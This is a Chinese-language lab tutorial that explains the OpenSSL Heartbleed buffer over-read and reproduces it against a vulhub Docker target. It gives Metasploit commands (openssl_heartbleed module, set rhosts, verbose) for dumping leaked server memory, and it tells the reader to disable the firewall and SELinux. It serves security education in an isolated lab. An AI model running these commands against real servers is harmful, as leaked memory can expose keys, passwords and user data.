心脏出血(Heartbleed)漏洞浅析、复现
一、漏洞介紹
心臟出血(英語(yǔ):Heartbleed),也簡(jiǎn)稱為心血漏洞,是一個(gè)出現(xiàn)在加密程序庫(kù)OpenSSL的安全漏洞,該程序庫(kù)廣泛用于實(shí)現(xiàn)互聯(lián)網(wǎng)的傳輸層安全(TLS)協(xié)議。它于2012年被引入了軟件中,2014年4月首次向公眾披露。只要使用的是存在缺陷的OpenSSL實(shí)例,無(wú)論是服務(wù)器還是客戶端,都可能因此而受到攻擊。此問(wèn)題的原因是在實(shí)現(xiàn)TLS的心跳擴(kuò)展時(shí)沒(méi)有對(duì)輸入進(jìn)行適當(dāng)驗(yàn)證(缺少邊界檢查),因此漏洞的名稱來(lái)源于“心跳”(heartbeat)。該程序錯(cuò)誤屬于緩沖區(qū)過(guò)讀,即可以讀取的數(shù)據(jù)比應(yīng)該允許讀取的還多。
Heartbleed漏洞是由于未能在memcpy()調(diào)用受害用戶輸入內(nèi)容作為長(zhǎng)度參數(shù)之前正確進(jìn)行邊界檢查。攻擊者可以追蹤OpenSSL所分配的64KB緩存、將超出必要范圍的字節(jié)信息復(fù)制到緩存當(dāng)中再返回緩存內(nèi)容,這樣一來(lái)受害者的內(nèi)存內(nèi)容就會(huì)以每次64KB的速度進(jìn)行泄露。
二、漏洞復(fù)現(xiàn)
靶機(jī):centos7 192.168.81.136
攻擊機(jī):kali 192.168.81.135
確保兩臺(tái)測(cè)試機(jī)網(wǎng)絡(luò)能通
使用docker+vulhub搭建漏洞環(huán)境,在centos7上搭建vulhub的步驟如下:
1、安裝docker依賴包
yum install -y yum-utils device-mapper-persistent-data lvm2
2、安裝docker
yum install docker
3、啟動(dòng)docker
systemctl start docker
4、下載vulhub
https://github.com/vulhub/vulhub/archive/master.zip
5、找到heartbleed,并進(jìn)入,輸入命令docker-compose up -d運(yùn)行漏洞環(huán)境
6、查看運(yùn)行情況
7、打開(kāi)kali,運(yùn)行metaspolit
8、使用metasploit進(jìn)行攻擊
1)搜索相關(guān)漏洞模塊兒
search Heartbleed
2)使用相關(guān)攻擊模塊
use auxiliary/scanner/ssl/openssl_heartbleed
3)查看需要配置的選項(xiàng)
Show options
4)對(duì)required為yes但是current setting為空的項(xiàng)進(jìn)行設(shè)置,這里我們只需要設(shè)置rhosts(靶機(jī)ip)
set rhosts 192.168.81.136
5)開(kāi)始攻擊并查看結(jié)果,出現(xiàn)白框字樣表示漏洞存在
Run
6)set verbose true#(設(shè)置verbose,這個(gè)設(shè)置要設(shè)置成true才能看到泄露的信息) 此設(shè)置主要是為了顯示整個(gè)過(guò)程以及l(fā)eak出來(lái)的數(shù)據(jù)
注意:1、關(guān)閉防火墻 2、關(guān)閉selinux
總結(jié)
以上是生活随笔為你收集整理的心脏出血(Heartbleed)漏洞浅析、复现的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 信息系统项目管理师计算题(进度管理计算)
- 下一篇: 常见的外围电路